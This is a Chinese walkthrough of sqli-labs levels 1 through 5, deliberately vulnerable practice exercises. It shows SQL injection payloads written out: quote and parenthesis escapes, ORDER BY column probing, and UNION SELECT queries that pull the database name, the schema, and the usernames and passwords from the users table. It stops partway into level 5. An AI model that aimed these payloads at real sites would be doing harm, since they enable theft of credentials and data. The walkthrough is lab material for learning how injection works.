目录
les-1 GET型 单引号字符型注入
判断数字 还是 字符型
首先猜测是数字型还是字符型,
# 命令 /?id=1 and 1=1 --+ #数字型 /?id=1' and 1=1 --+ #字符型
如图发现字符型时页面出现变化,被当作sql语句执行故为字符型
数字型时
可以对比两张图篇无变化
字符型时
此时所输入的语句被当作sql语句执行
判断字段数
此时该判断注入点的字段数
# 命令 /?id=1' and orde by 4 --+ # 原理:当探测的字段数大于数据库已有的字段数时会报错
如图
当字段数探测的值大于,表内字段时,报错提示未知字段
爆破数据库
通过union联合注入,爆出数据库
# 命令
/?id=-1' union select 1,2,database() --+
源码
当爆破数据库名时,
$id就是我们注入的参数故
$id =
$sql="SELECT * FROM users WHERE id='-1' union select 1,2,database() --+' LIMIT 0,1";
# 此时可以理解为
# '-1' 被数据库执行
# union 联合语句被数据库执行
# --+后面的的内容被全部注释掉
爆破数据库表名
# 命令
/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆破字段名
# 命令
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆破密码,用户
/?id=-1' union select 1,2,group_concat(username,0x7e,password,0x7e) from security.users --+
less-2 GET型 整数型 注入
判断数字 还是字符型
还是同less1一样
# 命令
/?id=1 and 1=1 --+ #数字型
/?id=1' and 1=1 --+ #字符型
源码
# 原理
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 在数据库中整型,可以不加引号('1') 也可以正确的的识别
爆破字段数
# 命令
/?id=1 and orde by 4 --+
# 原理:当探测的字段数大于数据库已有的字段数时会报错
后面的爆破数据库,表名,字段名等都同less-1相同
唯一区别 不需要带单引号
less-3 GET型 单引号变形字符
判断注入点
就是类似less-1和less-2的判断数字还是字符型
分析源码
# 变形添加了一个括号,在逃逸单引号时,同时把括号逃逸即可
# 输入参数后命令如下
$id = 1') order by 3 --+
$sql="SELECT * FROM users WHERE id=('1') order by 3 --+') LIMIT 0,1";
# ('1')正常执行 order by 正常执行 --+ 后面的内容被注释掉
判断确定注入点后
使用union联合注入同less-1相同的注入方式,主要改变的还时注入点的变化
less-4 GET型 双引号注入
判断注入点
还是先分析一下源码
如何将双引号和括号逃逸出来思考一下
# 命令参数
/Less-4/?id=1") order by 4 --+
# 当$id = 1") order by 4 --+
# 执行的sql语句:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=("1") order by 4 --+") LIMIT 0,1";
# 成功将sql双引号和小括号逃逸出来
确定注入点后
使用union联合注入同less-1相同的注入方式
less-5 GET型 单引号字符型注入 双注入
判断注入点
首先进行源码分析
mysql_query() 发送一个唯一的查询(多个查询 不支持)到当前 服务器上与 指定的 link_identifier.
参数 ¶
query
SQL 查询
查询字符串不应以分号结尾。 查询中的数据应 正确转义 。
link_identifier
MySQL 连接。 如果 未指定链接标识符,最后一个链接由 mysql_connect() 是假定的。 如果没有找到这样的链接,它 将尝试创建一个,就好像 mysql_connect() 已被调用 没有论据。 如果未找到或建立连接,则 E_WARNING产生电平错误。